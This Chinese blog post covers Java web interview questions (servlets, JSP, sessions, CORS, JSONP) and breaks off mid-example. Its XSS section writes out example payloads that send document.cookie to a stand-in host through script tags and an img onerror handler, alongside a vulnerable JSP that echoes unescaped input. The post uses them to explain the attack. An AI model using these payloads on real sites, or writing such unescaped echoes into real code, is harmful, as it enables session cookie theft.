java面试必备--JAVA基础篇(十四) 之 JavaWeb

     相信很多同行小伙伴会因为许多原因想跳槽,不论是干得不开心还是想跳槽涨薪,在如此内卷的行业,我们都面临着“面试造火箭,上班拧螺丝”的局面,鉴于当前形势博主呕心沥血整理的干货满满的造火箭的技巧来了,本博主花费2个月时间,整理归纳java全生态知识体系常见面试题!总字数高达百万! 干货满满,每天更新,关注我,不迷路,用强大的归纳总结,全新全细致的讲解来留住各位猿友的关注,希望能够帮助各位猿友在应付面试笔试上!当然如有归纳总结错误之处请各位指出修正!如有侵权请联系博主QQ1062141499!
   

目录

1 什么是 Servlet, 说一说 Servlet 的生命周期

2 如何配置一个servlet?

3 servlet 的生命周期

4 servlet的常用方法

5  过滤器的生命周期是什么样的?有什么作用?

6 JSP常用的标签

7 如何防止表单重复提交?

8 说说什么是JSON?格式是什么样的?

9 什么是CSRF攻击,如何避免?

10 什么是XSS攻击,如何避免?

11 JSP和servlet有什么区别?

 12 JSP有哪些内置对象?作用分别是什么?

13 说一下 JSP 的 4 种作用域?

14 过滤器有哪些作用和用法?

15 如何防止表单重复提交

16 session的工作原理?

17 cookie和session区别

18 客户端禁止cookie,session还能用吗?

19  http响应码301和302代表的是什么?有什么区别?

20 forward和redirect的区别?

21 get和post请求有哪些区别?

22 如何实现跨域?

23 什么是JSONP?

24 session共享怎么做的(分布式如何实现session共享)?

25 在单点登录中,如果cookie被禁用了怎么办

26 jstl

27 EL表达式


1 什么是 Servlet, 说一说 Servlet 的生命周期

       Servlet是一种服务器端的Java应用程序,具有独立于平台和协议的特性,可以生成动态的Web页面它担当客户请求(Web浏览器或其他HTTP客户程序)与服务器响应(HTTP服务器上的数据库或应用程序)的中间层。 Servlet是位于Web 服务器内部的服务器端的Java应用程序,与传统的从命令行启动的Java应用程序不同,Servlet由Web服务器进行加载,该Web服务器必须包含支持Servlet的Java虚拟机

      Servlet生命周期可以分成四个阶段:加载和实例化初始化服务销毁

      当客户第一次请求时,首先判断是否存在 Servlet 对象,若不存在,则由 Web 容器创建对象,而后调用 init()方法对其初始化,此初始化方法在整个Servlet生命周期中只调用一次。

      完成Servlet对象的创建和实例化之后,Web容器会调用Servlet对象的service()方法来处理请求。

      当Web容器关闭或者Servlet对象要从容器中被删除时,会自动调用destory()方法。

2 如何配置一个servlet?

   web工程中的web.xml文件:

<servlet>

 <servlet-name></servlet-name>

 <servlet-class></servlet-class>

</servlet>

<servlet-mapping>

 <servlet-name></servlet-name>

 <url-pattern></url-pattern>

</servlet-mapping>

注解:

@WebServlet(name="servlet", urlPatterns={"/*"})

3 servlet 的生命周期

  • 初始化阶段,调用 init() 方法
  • 响应客户请求阶段,每个 servlet 请求都会调用 servlet 对象的 service() 方法,且传递请求对象 ServletRequest、响应对象 ServletResponse 参数
  • 终止阶段,调用 destroy() 方法 

4 servlet的常用方法

      javax.servlet.Servlet 接口定义 servlet 的标准,下面是 3.0.1 版 Servlet 接口中的方法:

//初始化

public void init(ServletConfig config) throws ServletException;

//返回 servlet 初始化信息与启动参数

public ServletConfig getServletConfig();

//被 servlet 容器调用,响应 servlet 请求

public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;

//返回 servlet 信息,如作者、版本和版权

public String getServletInfo();

//由 servlet 容器调用,把 servlet 去除

public void destroy();

javax.servlet.Servlet.GenericServlet 抽象类实现了 javax.servlet.Servlet,并无具体实现。

javax.servlet.http.HttpServlet 抽象类继承了 javax.servlet.Servlet.GenericServlet。HttpServlet 类中的 service() 方法根据 http 的 method 类型分别请求了如下方法

protected void doGet(HttpServletRequest req, HttpServletResponse resp)

protected void doPost(HttpServletRequest req, HttpServletResponse resp)

protected void doHead(HttpServletRequest req, HttpServletResponse resp)

protected void doPut(HttpServletRequest req, HttpServletResponse resp)

protected void doDelete(HttpServletRequest req, HttpServletResponse resp)

protected void doOptions(HttpServletRequest req, HttpServletResponse resp)

protected void doTrace(HttpServletRequest req, HttpServletResponse resp)





5  过滤器的生命周期是什么样的?有什么作用?

      生命周期:

//servlet 容器启动时会创建 Filter 实例
public void init(FilterConfig filterConfig) throws ServletException;
//在每次访问目标资源时执行
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
//服务器关闭时销毁Filter对象
public void destroy();

作用:

  • 验证是否来自可信网络
  • 验证用户是否可以登录
  • 验证客户的浏览器版本
  • 对提交的数据进行重新编码
  • 过滤敏感词汇
  • 记录系统日志

6 JSP常用的标签

  • 请求转发:<JSP:forward>
  • 页面传递数据:<JSP:param>
  • 输出标签:<c:out>
  • 判读标签<c:if>
  • 迭代标签<c:foreach>
  • 多重判断标签<c:choose>

7 如何防止表单重复提交?

      网络延迟时重复点击提交按钮,会发生重复提交表单的问题。

解决办法:

  • 数据库主键唯一
  • 提交成功后页面重定向
  • 按钮提交后隐藏或不可再点击
  • 后台生成页面 token,页面表单提交携带 token,后台进行校验

8 说说什么是JSON?格式是什么样的?

      JSON 是一种与开发语言无关的、轻量级的数据存储格式,全称 JavaScript Object Notation,起初来源于 JavaScript ,后来随着使用的广泛,几乎每门开发语言都有处理 JSON 的API。

优点:

     易于人的阅读和编写,易于程序生成与解析。

格式:

  • 数据结构:Object、Array
  • 基本类型:string,number,true,false,null

     数据结构 - Object{key:value, key:value...}key:string 类型value:任何基本类型或数据结构

     数据结构 - Array[value, value...]value:任何基本类型或数据结构

如:

{"id":"1", "values":[1, 2, "你好"]}

9 什么是CSRF攻击,如何避免?

    CSRF:Cross Site Request Forgery(跨站点请求伪造)。CSRF 攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。

避免方法:

  • CSRF 漏洞进行检测的工具,如 CSRFTester、CSRF Request Builder...
  • 验证 HTTP Referer 字段
  • 添加并验证 token
  • 添加自定义 http 请求头
  • 敏感操作添加验证码
  • 使用 post 请求

10 什么是XSS攻击,如何避免?

      XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。原理

      攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。种类

       1、DOM Based XSS:基于网页 DOM 结构的攻击

例如:

  • input 标签 value 属性赋值
//JSP
<input type="text" value="<%= getParameter("content") %>">

   访问

http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>    //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>    //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
  • 利用 a 标签的 href 属性的赋值
//JSP
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>

访问

http://xxx.xxx.xxx?newUrl=javascript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //点击 a 标签就会弹出 XSS 字样
  • image 标签 src 属性,onload、onerror、onclick 事件中注入恶意代码
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />

2、Stored XSS:存储式XSS漏洞

<form action="save.do">
	<input name="content" value="">
</form>

      输入 <script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>,提交当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie

预防 XSS 的核心是必须对输入的数据做过滤处理。

11 JSP和servlet有什么区别?

Servlet

  • 一种服务器端的Java应用程序
  • 由Web容器加载和管理
  • 用于生成动态Web内容
  • 负责处理客户端请求

JSP

  • 是Servlet的扩展,本质上还是Servlet
  • 每个JSP页面就是一个Servlet实例
  • JSP页面会被Web容器编译成Servlet,Servlet再负责响应用户请求

区别

  • Servlet适合动态输出Web数据和业务逻辑处理,对于html页面内容的修改非常不方便;JSP是在Html代码中嵌入Java代码,适合页面的显示
  • 内置对象不同,获取内置对象的方式不同

 

     JSP作为Servlet技术的扩展,经常会有人将JSP和Servlet搞混。本文,将为大家带来servlet和JSP的区别,希望对大家有所帮助。

servlet和JSP的区别

     1、Servlet在Java代码中可以通过HttpServletResponse对象动态输出HTML内容。

     2、JSP是在静态HTML内容中嵌入Java代码,然后Java代码在被动态执行后生成HTML内容。

servlet和JSP的各自的特点

     1、Servlet虽然能够很好地组织业务逻辑代码,但是在Java源文件中,因为是通过字符串拼接的方式生成动态HTML内容,这样就容易导致代码维护困难、可读性差。

    2、JSP虽然规避了Servlet在生成HTML内容方面的劣势,但是在HTML中混入大量、复杂的业务逻辑。

通过MVC双剑合璧

      JSP和Servlet都有自身的适用环境,那么有没有什么办法能够让它们发挥各自的优势呢?答案是肯有的,MVC模式就能够完美解决这一问题。

MVC模式

     是Model-View-Controller的简称,是软件工程中的一种软件架构模式,分为三个基本部分,分别是:模型(Model)、视图(View)和控制器(Controller):

    Controller——负责转发请求,对请求进行处理

    View——负责界面显示

    Model——业务功能编写(例如算法实现)、数据库设计以及数据存取操作实现

    在JSP/Servlet开发的软件系统中,这三个部分的描述如下所示:

1、Web浏览器发送HTTP请求到服务端,然后被Controller(Servlet)获取并进行处理(例如参数解析、请求转发)

2、Controller(Servlet)调用核心业务逻辑——Model部分,获得结果

3、Controller(Servlet)将逻辑处理结果交给View(JSP),动态输出HTML内容

4、动态生成的HTML内容返回到浏览器显示

     MVC模式在Web开发中有很大的优势,它完美规避了JSP与Servlet各自的缺点,让Servlet只负责业务逻辑部分,而不会生成HTML代码;同时JSP中也不会充斥着大量的业务代码,这样能大提高了代码的可读性和可维护性。

 12 JSP有哪些内置对象?作用分别是什么?

      JSP有9大内置对象:

  1. request:对应Java类javax.servlet.http.HttpServletRequest;客户端的请求信息:Http协议头信息、Cookie、请求参数等
  2. response:对应Java类javax.servlet.http.HttpServletResponse;用于服务端响应客户端请求,返回信息
  3. pageContext:对应Java类javax.servlet.JSP.PageContext;页面的上下文
  4. session:对应Java类javax.servlet.http.HttpSession;客户端与服务端之间的会话
  5. application:对应Java类javax.servlet.ServletContext;用于获取服务端应用生命周期的信息
  6. out:对应Java类javax.servlet.JSP.JSPWriter;用于服务端传输内容到客户端的输出流
  7. config:对应Java类javax.servlet.ServletConfig;初始化时,JSP引擎向JSP页面传递的信息
  8. page:对应Java类java.lang.Object;指向JSP页面本身
  9. exception:对应Java类java.lang.Throwabl;页面发生异常,产生的异常对象

13 说一下 JSP 的 4 种作用域?

  • page (当前页面作用域):相当于 Java 关键字中 this。在这个作用域中存放的属性值,只能在当前页面中取出。对应 PageContext 类
  • request (请求作用域):范围是从请求创建到请求消亡这段时间,一个请求可以涉及的多个页面。<JSP:forward> 和 <JSP:include> 跳转到其他页面,也在作用域范围。对应 ServletRequest 类
  • session (会话作用域):范围是一段客户端和服务端持续连接的时间,用户在会话有效期内多次请求所涉及的页面。session 会话器,服务端为第一次建立连接的客户端分配一段有效期内的属性内存空间。对应 HttpSession 类
  • application (全局作用域):范围是服务端Web应用启动到停止,整个Web应用中所有请求所涉及的页面。当服务器开启时,会创建一个公共内存区域,任何客户端都可以在这个公共内存区域存取值。对应 ServletContext 类

14 过滤器有哪些作用和用法?

      对于一个 web 应用程序来说,过滤器是处于 web 容器内的一个组件,它会过滤特定请求资源请求信息和响应信息。一个请求来到时,web 容器会判断是否有过滤器与该信息资源相关联,如果有则交给过滤器处理,然后再交给目标资源,响应的时候则以相反的顺序交给过滤器处理,最后再返回给用户浏览器。

      常见的过滤器用途主要包括:用户请求进行统一认证、对用户的访问请求进行记录和审核、对用户发送的数据进行过滤或替换、转换图象格式、对响应内容进行压缩以减少传输量、对请求或响应进行加解密处理、触发资源访问事件等。

15 如何防止表单重复提交

     1,通过JavaScript屏蔽提交按钮(不推荐)

       通过js代码,当用户点击提交按钮后,屏蔽提交按钮使用户无法点击提交按钮或点击无效,从而实现防止表单重复提交。

        ps:js代码很容易被绕过。比如用户通过刷新页面方式,或使用postman等工具绕过前段页面仍能重复提交表单。因此不推荐此方法。

    2,给数据库增加唯一键约束(简单粗暴)

        在数据库建表的时候在ID字段添加主键约束,用户名、邮箱、电话等字段加唯一性约束。确保数据库只可以添加一条数据。

       数据库加唯一性约束sql:

alter table tableName_xxx add unique key uniq_xxx(field1, field2)

      服务器及时捕捉插入数据异常:

        try {
                xxxMapper.insert(user);
                 } catch (DuplicateKeyException e) {
               logger.error("user already exist");
            }

      通过数据库加唯一键约束能有效避免数据库重复插入相同数据。但无法阻止恶意用户重复提交表单(攻击网站),服务器大量执行sql插入语句,增加服务器和数据库负荷。

    3,使用AOP自定义切入实现

    实现原理

      自定义防止重复提交标记(@AvoidRepeatableCommit)。

      对需要防止重复提交的Congtroller里的mapping方法加上该注解。

      新增Aspect切入点,为@AvoidRepeatableCommit加入切入点。

      每次提交表单时,Aspect都会保存当前key到reids(须设置过期时间)。

      重复提交时Aspect会判断当前redis是否有该key,若有则拦截。

自定义标签

    

/**
 * 避免重复提交
 * @since
 */
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface AvoidRepeatableCommit {

    /**
     * 指定时间内不可重复提交,单位毫秒
     * @return
     */
    long timeout()  default 30000 ;

}

自定义切入点Aspect

/**
 * 重复提交AOP
 * @author hhz
 * @version
 * @since
 */
@Aspect
@Component
public class AvoidRepeatableCommitAspect {
    @Autowired
    private RedisTemplate redisTemplate;

    /**
     * @param point
     */
    @Around("@annotation(com.xwolf.boot.annotation.AvoidRepeatableCommit)")
    public Object around(ProceedingJoinPoint point) throws Throwable {

        HttpServletRequest request  = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
        String ip = IPUtil.getIP(request);
        //获取注解
        MethodSignature signature = (MethodSignature) point.getSignature();
        Method method = signature.getMethod();
        //目标类、方法
        String className = method.getDeclaringClass().getName();
        String name = method.getName();
        String ipKey = String.format("%s#%s",className,name);
        int hashCode = Math.abs(ipKey.hashCode());
        String key = String.format("%s_%d",ip,hashCode);
        log.info("ipKey={},hashCode={},key={}",ipKey,hashCode,key);
        AvoidRepeatableCommit avoidRepeatableCommit =  method.getAnnotation(AvoidRepeatableCommit.class);
        long timeout = avoidRepeatableCommit.timeout();
        if (timeout < 0){
            //过期时间5分钟
            timeout = 60*5;
        }
        String value = (String) redisTemplate.opsForValue().get(key);
        if (StringUtils.isNotBlank(value)){
            return "请勿重复提交";
        }
        redisTemplate.opsForValue().set(key, UUIDUtil.uuid(),timeout,TimeUnit.MILLISECONDS);
        //执行方法
        Object object = point.proceed();
        return object;
    }

16 session的工作原理?

    1.什么是session

     session是浏览器和服务器会话过程中,服务器分配的一块储存空间。服务器默认为浏览器在cookie中设置sessionid,浏览器在向服务器请求过程中传输cookie包含sessionid,服务器根据sessionid获取出会话中存储的信息。

      由于http协议是无状态的,即http请求一次连接一次,数据传输完毕,连接就断开了,下次访问需要重新连接。

     通过cookie中的sessionid字段和服务器端的session关联,可以确定会话的身份信息。

    2. session比cookie更安全

      用户信息可以通过加密存储到cookie,但是这样做的安全性很差,浏览器的cookie的容易被其他程序获取和篡改。使用session的意义在于session存储在服务器,相对安全性更高。

   3.session的生命周期

  • 创建

       浏览器访问服务器的servlet(JSP)时,服务器会自动创建session,并把sessionid通过cookie返回到浏览器。

       servlet规范中,通过request.getSession(true)可以强制创建session。

  • 销毁

       服务器会默认给session一个过期时间,即从该session的会话在有效时间内没有再被访问就会被设置过超时,需要重新建立会话。

      如tomcat的默认会话超时时间为30分钟。

      会话超时时间是可以通过配置文件设置,如修改web.xml、server.xml文件

调用 servlet api 手动设置 session 超时时间

request.getSession().setMaxInactiveInterval(60 * 30);//session 30分钟失效

  调用 servlet api 手动销毁 session

request.getSession().invalidate();

4. 注意事项​​    

      如果浏览器禁用cookie,默认情况下session无法生效。可以通过url重载携带sessionid参数、把sessionid设置为http协议header设为其他自定义字段中,请求中始终携带。当用户量很大、session的失效时间很长,需要注意session的查找和存储对服务器性能的影响。web容器可以设置session的钝化(从内存持久化到文件)和活化(从文件读到内存),提高性能。

17 cookie和session区别

      浏览器和应用服务交互,一般都是通过Http协议交互的。Http协议是无状态的,浏览器和服务器交互完数据,连接就会关闭,每一次的数据交互都要重新建立连接。即服务器是无法辨别每次是和哪个浏览器进行数据交互的。

      为了确定会话中的身份,就可以通过创建session或cookie进行标识。

两者区别:

  • session是在服务器端记录信息;cookie是在浏览器端记录信息
  • session保存的数据大小取决于服务器的程序设计,理论值可以做到不限;单个cookie保存的数据大小不超过4Kb,大多数浏览器限制一个站点最多20个cookie
  • session可以被服务器的程序处理为key-value类型的任何对象;cookie则是存在浏览器里的一段文本
  • session由于存在服务器端,安全性高;浏览器的cookie可能被其他程序分析获取,所以安全性较低

       大量用户会话服务器端保存大量session对服务器资源消耗较大;信息保存在 cookie 中缓解了服务器存储用信息的压力一般实际使用中,都是把关键信息保存在 session 里,其他信息加密保存到cookie中。

18 客户端禁止cookie,session还能用吗?

       一般默认情况下,在会话中,服务器存储session的sessionid是通过cookie存到浏览器里。

如果浏览器禁用了cookie,浏览器请求服务器无法携带sessionid,服务器无法识别请求中的用户身份,session失效。

      但是可以通过其他方法在禁用cookie的情况下,可以继续使用session。

  • 通过url重写,把sessionid作为参数追加的原url中,后续的浏览器与服务器交互中携带sessionid参数。
  • 服务器的返回数据中包含sessionid,浏览器发送请求时,携带sessionid参数。
  • 通过Http协议其他header字段,服务器每次返回时设置该header字段信息,浏览器中js读取该header字段,请求服务器时,js设置携带该header字段。

19  http响应码301和302代表的是什么?有什么区别?

      301 MovedPermanently

       被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个URI之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。

      302 Found

      请求的资源现在临时从不同的URI响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。

      当网站迁移或url地址进行调整时,服务端需要重定向返回,保证原请求自动跳转新的地址。

http协议的301和302状态码都代表重定向。浏览器请求某url收到这两个状态码时,都会显示和跳转到ResponseHeaders中的Location。即在浏览器地址输入urlA,却自动跳转到urlB。

javaservlet返回301和302跳转到百度首页如下

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
 * Servlet implementation class HelloServlet
 */
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;
    /**
     * Default constructor.     */
    public HelloServlet() {
    }
    /**
     * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//    response.setStatus(301);//设置返回状态码301
        response.setStatus(302);//设置返回状态码302
        response.sendRedirect("http://www.baidu.com");
    }
    /**
     * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    }
}

请求url:http://localhost:8081/web/hello

区别:

  • 301 表示被请求 url 永久转移到新的 url;302 表示被请求 url 临时转移到新的 url。
  • 301 搜索引擎会索引新 url 和新 url 页面的内容;302 搜索引擎可能会索引旧 url 和 新 url 的页面内容。
  • 302 的返回码可能被别人利用,劫持你的网址。因为搜索引擎索引他的网址,他返回 302 跳转到你的页面。

20 forward和redirect的区别?

     forward:转发;redirect:重定向。区别如下:

  • 浏览器url地址显示不同

      服务端通过forward返回,浏览器url地址不会发生变化;服务器通过redirect返回,浏览器会重新请求,url地址会发生变化

  • 前后台两者页面跳转的处理方式不同

       forward跳转页面,是服务端进行页面跳转加载(include)新页面,直接返回到浏览器;redirect跳转页面,是服务端返回新的url地址,浏览器二次发出url请求

  • 参数携带情况不一样

      forward跳转页面,会共享请求的参数到新的页面;redirect跳转页面,属于一次全新的http请求,无法共享上一次请求的参数

  • http请求次数不同

      forward1次;redirect2次

  • 新目标地址范围不同

      forward必须是同一个应用内的某个资源;redirect的新地址可以是任意地址

21 get和post请求有哪些区别?

     1、从主流浏览器的实现角度看

           下面的对比表格摘自:w3school--HTTP方法:GET对比POST

 

 

  • 2、从RFC规范的(Safe-安全、Idempotent-幂等、Cacheable-可缓存性、语义)角度看
  • GET安全;POST不安全
  • GET幂等;POST不幂等
  • GET可缓存;POST不可缓存
  • GET用于信息获取;POST表示可能修改变服务器上的资源的请求

       这里的安全是指,GET只读服务器数据不会修改;幂等简单理解就是每次请求结果和产生的影响都一样。

      3、注意问题

     长度限制:

  1. http协议并未规定get和post的长度限制
  2. get的最大长度限制是因为浏览器和web服务器限制了URL的长度
  3. 不同的浏览器和web服务器,限制的最大长度不一样
  4. 超出了最大长度,大部分的服务器直接截断,有些服务器会报414错误

      安全:这里的安全指使用过程中的安全

  1. GET是通过URL方式请求,可以直接看到,明文传输;POST参数通过header传输,同样是明文
  2. 浏览器会缓存和记录GET请求及参数,不缓存POST的请求的参数(如参数中包含敏感信息可能被其他从浏览器的缓存和浏览记录获取)

22 如何实现跨域?

     跨域:当浏览器执行脚本时会检查是否同源,只有同源的脚本才会执行,如果不同源即为跨域。

  • 这里的同源指访问的协议、域名、端口都相同。
  • 同源策略是由Netscape提出的著名安全策略,是浏览器最核心、基本的安全功能,它限制了一个源中加载脚本与来自其他源中资源的交互方式。
  • Ajax发起的跨域HTTP请求,结果被浏览器拦截,同时Ajax请求不能携带与本网站不同源的Cookie。

       script、img、iframe、link、video、audio 等带有 src 属性的标签可以从不同的域加载和执行资源。如当使用 ajax 提交非同源的请求时,浏览器就会阻止请求。提示Access to XMLHttpRequest at '...' from origin '...' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

      如何实现跨域请求呢?

       1、JSONP利用了script不受同源策略的限制缺点:只能 get 方式,易受到 XSS攻击

       2、CORS(Cross-Origin Resource Sharing),跨域资源共享当使用XMLHttpRequest发送请求时,如果浏览器发现违反了同源策略就会自动加上一个请求头 origin;后端在接受到请求后确定响应后会在后端在接受到请求后确定响应后会在 Response Headers 中加入一个属性 Access-Control-Allow-Origin;浏览器判断响应中的 Access-Control-Allow-Origin 值是否和当前的地址相同,匹配成功后才继续响应处理,否则报错缺点:忽略 cookie,浏览器版本有一定要求

        3、代理跨域请求前端向发送请求,经过代理,请求需要的服务器资源缺点:需要额外的代理服务器

       4、Html5 postMessage 方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本、多窗口、跨域消息传递缺点:浏览器版本要求,部分浏览器要配置放开跨域限制

      5、修改 document.domain 跨子域相同主域名下的不同子域名资源,设置 document.domain 为 相同的一级域名缺点:同一一级域名;相同协议;相同端口

      6、基于 Html5 websocket 协议websocket 是 Html5 一种新的协议,基于该协议可以做到浏览器与服务器全双工通信,允许跨域请求缺点:浏览器一定版本要求,服务器需要支持 websocket 协议

     7、document.xxx + iframe通过 iframe 是浏览器非同源标签,加载内容中转,传到当前页面的属性中

      缺点:页面的属性值有大小限制

23 什么是JSONP?

      JSONP 是 JSON with Padding 的略称。它是一个非官方的协议,允许在服务器端集成Script tags返回至客户端,通过 javascript callback 的形式实现跨域访问。

产生的背景:

  • 浏览器限制 ajax 跨域请求
  • json 格式数据被浏览器原生支持
  • <script> 标签 src 可以跨域 GET 方式获取服务器脚本

     先说说JSONP是怎么产生的:

     其实网上关于JSONP的讲解有很多,但却千篇一律,而且云里雾里,对于很多刚接触的人来讲理解起来有些困难,着用自己的方式来阐释一下这个问题,看看是否有帮助。

      1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准。

      2、不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如<\script>、<\img>、<\iframe>)。

     3、于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理。

     4、恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据。

     5、这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。

     6、客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。

    7、为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

      如果对于callback参数如何使用还有些模糊的话,我们后面会有具体的实例来讲解。

JSONP的客户端具体实现:

不管jQuery也好,extjs也罢,又或者是其他支持jsonp的框架,他们幕后所做的工作都是一样的,下面我来循序渐进的说明一下jsonp在客户端的实现:

       1、我们知道,哪怕跨域js文件中的代码(当然指符合web脚本安全策略的),web页面也是可以无条件执行的。

远程服务器remoteserver.com根目录下有个remote.js文件代码如下:

alert('我是远程文件');

本地服务器localserver.com下有个jsonp.html页面代码如下:

1.	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2.	<html xmlns="http://www.w3.org/1999/xhtml">
3.	<head>
4.	    <title></title>
5.	    <script type="text/javascript" src="http://remoteserver.com/remote.js"></script>
6.	</head>
7.	<body>
8.	 
9.	</body>
10.	</html>

     毫无疑问,页面将会弹出一个提示窗体,显示跨域调用成功。

2、现在我们在jsonp.html页面定义一个函数,然后在远程remote.js中传入数据进行调用。

jsonp.html页面代码如下:

1.	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2.	<html xmlns="http://www.w3.org/1999/xhtml">
3.	<head>
4.	    <title></title>
5.	    <script type="text/javascript">
6.	    var localHandler = function(data){
7.	        alert('我是本地函数,可以被跨域的remote.js文件调用,远程js带来的数据是:' + data.result);
8.	    };
9.	    </script>
10.	    <script type="text/javascript" src="http://remoteserver.com/remote.js"></script>
11.	</head>
12.	<body>
13.	 
14.	</body>
15.	</html>

remote.js文件代码如下:

localHandler({"result":"我是远程js带来的数据"});

    运行之后查看结果,页面成功弹出提示窗口,显示本地函数被跨域的远程js调用成功,并且还接收到了远程js带来的数据。

    很欣喜,跨域远程获取数据的目的基本实现了,但是又一个问题出现了,我怎么让远程js知道它应该调用的本地函数叫什么名字呢?毕竟是jsonp的服务者都要面对很多服务对象,而这些服务对象各自的本地函数都不相同啊?我们接着往下看。

    3、聪明的开发者很容易想到,只要服务端提供的js脚本是动态生成的就行了呗,这样调用者可以传一个参数过去告诉服务端 “我想要一段调用XXX函数的js代码,请你返回给我”,于是服务器就可以按照客户端的需求来生成js脚本并响应了。

看jsonp.html页面的代码:

1.	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2.	<html xmlns="http://www.w3.org/1999/xhtml">
3.	<head>
4.	    <title></title>
5.	    <script type="text/javascript">
6.	    // 得到航班信息查询结果后的回调函数
7.	    var flightHandler = function(data){
8.	        alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');
9.	    };
10.	    // 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)
11.	    var url = "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998&callback=flightHandler";
12.	    // 创建script标签,设置其属性
13.	    var script = document.createElement('script');
14.	    script.setAttribute('src', url);
15.	    // 把script标签加入head,此时调用开始
16.	    document.getElementsByTagName('head')[0].appendChild(script); 
17.	    </script>
18.	</head>
19.	<body>
20.	 
21.	</body>
22.	</html>

      这次的代码变化比较大,不再直接把远程js文件写死,而是编码实现动态查询,而这也正是jsonp客户端实现的核心部分,本例中的重点也就在于如何完成jsonp调用的全过程。

      我们看到调用的url中传递了一个code参数,告诉服务器我要查的是CA1998次航班的信息,而callback参数则告诉服务器,我的本地回调函数叫做flightHandler,所以请把查询结果传入这个函数中进行调用。

        OK,服务器很聪明,这个叫做flightResult.aspx的页面生成了一段这样的代码提供给jsonp.html

(服务端的实现这里就不演示了,与你选用的语言无关,说到底就是拼接字符串):

1.	flightHandler({
2.	    "code": "CA1998",
3.	    "price": 1780,
4.	    "tickets": 5
5.	});

   4、到这里为止的话,相信你已经能够理解jsonp的客户端实现原理了吧?剩下的就是如何把代码封装一下,以便于与用户界面交互,从而实现多次和重复调用

  jQuery如何实现jsonp调用?

1.	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2.	<html xmlns="http://www.w3.org/1999/xhtml" >
3.	<head>
4.	     <title>Untitled Page</title>
5.	      <script type="text/javascript" src=jquery.min.js"></script>
6.	      <script type="text/javascript">
7.	     jQuery(document).ready(function(){ 
8.	        $.ajax({
9.	             type: "get",
10.	             async: false,
